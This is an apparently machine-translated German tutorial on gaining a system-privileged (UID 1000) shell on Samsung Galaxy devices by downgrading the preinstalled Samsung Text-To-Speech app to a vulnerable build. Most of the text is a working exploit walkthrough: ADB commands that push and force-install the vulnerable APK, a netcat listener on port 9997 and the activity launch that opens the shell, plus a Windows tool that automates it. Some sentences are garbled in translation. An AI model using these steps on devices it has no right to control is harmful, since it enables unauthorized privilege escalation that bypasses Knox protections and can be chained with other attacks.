So erhalten Sie System-Shell-Zugriff auf jedem Samsung Galaxy-Gerät

Quicklinks

  • Voraussetzungen
  • So nutzen Sie jedes Samsung Galaxy-Gerät aus, um Zugriff auf die System-Shell zu erhalten
  • Überprüfung
  • Abschluss

An jedem ersten Montag im Monat veröffentlicht Google die Android-Sicherheitsbulletin. Es werden alle geminderten Sicherheitslücken in verschiedenen Komponenten des Android-Betriebssystems offengelegt sowie den Linux-Kernel und seine Patches, die von Google selbst oder anderen Dritten dazu eingereicht wurden Datum. Große OEMs wie Samsung haben ihre eigene Version von Android und entscheiden sich daher dafür, ihre eigenen Patches und Updates auch in Sicherheitsupdates umzuwandeln.

Trotzdem ist es ziemlich schwierig, jede Lücke zu schließen. Es gibt eine Vielzahl von Angriffsvektoren, und manchmal können Sie darauf basierend Ihre eigene Exploit-Kette erstellen eine bereits bekannte Schwachstelle, nur weil Sie über eine neue Methode verfügen, um eine dieser Schwachstellen zu umgehen Schutzmaßnahmen. Genau das bietet XDA Senior Member K0mraid3 hat eine vier Jahre alte Sicherheitslücke behoben, die es ihm ermöglichte, auf jedem Samsung Galaxy-Gerät – einschließlich der neuesten Flaggschiff-Geräte – Zugriff auf die System-Shell zu erhalten. Obwohl es nicht dasselbe ist wie

Root-Rechte haben, es handelt sich um eine ausreichend hohe lokale Privilegienausweitung.

Der primäre Eintrittspunkt der Sicherheitslücke liegt in Samsung Text-To-Speech (Paketname: com.samsung. SMT), eine vorinstallierte System-App, die auf jedem Samsung Galaxy-Gerät zu finden ist. Die Idee besteht darin, die installierte Version der App auf einen bestimmten anfälligen Build herunterzustufen (v3.0.02.2 um genau zu sein) und erzwingen dann das Laden einer Bibliothek, die wiederum eine Shell mit Systemprivilegien (UID 1000) öffnet.

Wenn Sie mehr über den Exploit erfahren möchten, schauen Sie sich unbedingt um Der Erklärer des leitenden technischen Redakteurs von XDA, Adam Conway. Er sprach mit K0mraid3, um den vollen Umfang dieses Exploits und seine Funktionsweise zu verstehen.

  1. Um es noch einmal zu wiederholen: Dies ist kein Root-Zugriff (UID 0), aber der System-Shell-Zugriff ist leistungsstark genug, um eine Reihe ansonsten eingeschränkter Binärdateien auszuführen.
  2. Für den Proof of Concept von K0mraid3 ist ein Hilfs-APK erforderlich, und Sie müssen es mindestens einmal ausführen, bevor Sie die Exploit-Kette starten.
  3. Eine Benutzeroberfläche, d. h. die integrierten Energiesparroutinen des benutzerdefinierten Android-Skins von Samsung, können problematisch sein, da sie die Kommunikation zwischen der TTS-App, dem Hilfs-APK und der Shell behindern könnten. Wir empfehlen daher, das Energiesparprofil für die Apps vorher auf „Uneingeschränkt“ zu stellen.

Voraussetzungen

  1. Laden Sie den vorkompilierten Build des Exploits von herunter XDA-Forumsthread oder das unten verlinkte offizielle GitHub-Repository: K0mraid3s-System-Shell-Exploit
  2. Extrahieren Sie das Archiv irgendwo und Sie sollten die anfällige Version des Samsung Text-To-Speech APK finden (samsungTTSVULN2.apk), die Hilfs-App (Komraid3s_POC_Vx.x.apk) und eine ausführbare Windows-Datei mit dem Namen systemshell-vx.x.exe.
  3. Stellen Sie sicher, dass die neueste Version von ADB ist auf Ihrem PC/Mac/Chromebook installiert. Denken Sie auch daran Installieren/aktualisieren Sie die Samsung USB-Treiber wenn Sie ein Windows-Benutzer sind.

So nutzen Sie jedes Samsung Galaxy-Gerät aus, um Zugriff auf die System-Shell zu erhalten

Manuelle Methode

  1. Schließen Sie das Galaxy-Zielgerät bei aktiviertem USB-Debugging an Ihren PC an, stellen Sie sicher, dass es von ADB erkannt wird, und installieren Sie dann die Hilfs-App.
    adb install Komraid3s_POC_Vx.x.apk
    • Öffnen Sie, wie bereits erwähnt, die Hilfs-App mindestens einmal, bevor Sie mit dem nächsten Schritt fortfahren.
  2. Schieben Sie nun die anfällige Version der Samsung TTS-App nach /data/local/tmp und ändern Sie ihre Berechtigungen:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Starte das Gerät neu. Sobald Sie sich auf dem Homescreen befinden, führen Sie den folgenden Befehl aus, um die bereits installierte Version der Samsung TTS-App durch die anfällige Version zu ersetzen:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Wenn alles richtig läuft, sollte auf der Konsole die Meldung „Erfolgreich“ angezeigt werden.
  4. Öffnen Sie eine Shell auf dem Zielgerät, indem Sie ein anderes Terminalfenster öffnen und ausführen ADB Shell, führen Sie dann die Netcat-Binärdatei aus und warten Sie mit dem folgenden Befehl auf eine eingehende Verbindung am 9997-Port:
    adb shell nc -lp 9997
  5. In dieser Phase müssen wir eine bestimmte Aktivität der Samsung TTS-App ausführen, die die System-Shell für uns öffnet.
    • Verwenden Sie eine Drittanbieter-App wie Das um eine Verknüpfung der Datei „com.samsung.com“ zu erstellen. SMT/.gui. DownloadList“-Aktivität.
    • Sie können dazu auch den Android-eigenen Aktivitätsmanager (am) verwenden. In diesem Fall können Sie es über ADB ausführen (adb shell am start -n com.samsung). SMT/.gui. DownloadList) oder verwenden Sie eine Terminalemulator-App auf Ihrem Telefon/Tablet wie Termux und führen Sie den folgenden Befehl aus:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Wechseln Sie zurück zur ersten Shell und Sie sollten eine neue Eingabeaufforderung mit Systemberechtigung (UID 1000) sehen.

Automatisierte Methode

Zur Vereinfachung bietet K0mraid3 auch eine benutzerfreundliche GUI-Anwendung zur Automatisierung der meisten Aufgaben. Bedenken Sie, dass die GUI-App nur für Windows verfügbar ist. Wenn Sie also ein Linux-/macOS-Benutzer sind, ist es besser, bei der manuellen Methode zu bleiben.

  1. Schließen Sie das Galaxy-Zielgerät bei aktiviertem USB-Debugging an Ihren PC an, stellen Sie sicher, dass es von ADB erkannt wird, und installieren Sie dann die Hilfs-App.
    adb install Komraid3s_POC_Vx.x.apk
    • Öffnen Sie, wie bereits erwähnt, die Hilfs-App mindestens einmal, bevor Sie mit dem nächsten Schritt fortfahren.
  2. Wenn das Zielgerät von ADB erkannt werden kann, führen Sie systemshell-vx.x.exe auf dem Host-PC aus.
  3. Klicken Sie auf die Schaltfläche „Shell starten“. Die App führt automatisch ein Downgrade der Samsung TTS-App durch und versucht, die System-Shell zu öffnen.
    • Auf Ihrem Telefon/Tablet wird möglicherweise die TTS-App angezeigt, die Sie zum Herunterladen einiger Sprachdaten auffordert. Es besteht keine Notwendigkeit, mit diesen Optionen zu interagieren, da sie nichts mit dem Exploit zu tun haben.
    • Falls die App nach einiger Zeit hängen bleibt oder das Shell-Fenster nicht öffnet, schließen Sie sie, starten Sie das Ziel-Galaxy-Gerät neu und beginnen Sie von vorne.
    • Die Galaxy Store-App kann das Energiesparprofil der TTS-App automatisch im Hintergrund aktualisieren und/oder zurücksetzen. Überprüfen Sie es daher unbedingt, bevor Sie den Vorgang von vorne beginnen.

Überprüfung

Sobald Sie den Shell-Zugriff haben, können Sie die Berechtigungsstufe mit einem der folgenden Befehle überprüfen:

  • whoami
    • Die Ausgabe sollte „System“ sein.
  • id -u
    • Die Ausgabe sollte „1000“ sein.

Abschluss

Der typische Weg, Root-Zugriff auf einem Android-Gerät zu erhalten, besteht darin, zunächst den Bootloader zu entsperren, der es Ihnen ermöglicht, Binärdateien von Drittanbietern zu booten. Da das Sicherheitsmodell von Android mit Root grundsätzlich auseinanderfällt, wird mit diesem Schritt absichtlich eine der wichtigsten Sicherheitsfunktionen auf dem Gerät deaktiviert Aus diesem Grund muss der Benutzer dies explizit zulassen, indem er normalerweise einen Schalter in den Entwickleroptionen aktiviert und dann einen Entsperrbefehl an den ausgibt Bootloader. Sobald der Bootloader entsperrt ist, kann der Benutzer eine Superuser-Binärdatei in das System und auch eine Superuser-Verwaltungs-App (wie Magisk) einführen, um zu steuern, welche Prozesse Zugriff auf Root haben.

Bei dem oben erwähnten System-Shell-Exploit muss der Benutzer den Bootloader jedoch nicht entsperren, um eine erweiterte Berechtigung zu erhalten. Obwohl es weit davon entfernt ist, Root zu sein, ist der „System“-Benutzer in der Lage, auf eine Reihe von Partitionen auf niedriger Ebene zuzugreifen (z als /efs), starten Sie verschiedene Service- und Debugging-Tools und ändern Sie viele geschützte Prop-Werte – und das alles, ohne überhaupt auszulösen Knox. Diese Beispiele berühren nur einige Aspekte; Ein böswilliger Akteur kann dies mit anderen Schwachstellen kombinieren und sich noch schlimmere Aktionen ausdenken.

Wir müssen abwarten, wie Google und Samsung das Szenario angehen. In jedem Fall sollten Sie die Samsung Text-To-Speech-App wahrscheinlich vorerst deaktivieren oder entfernen.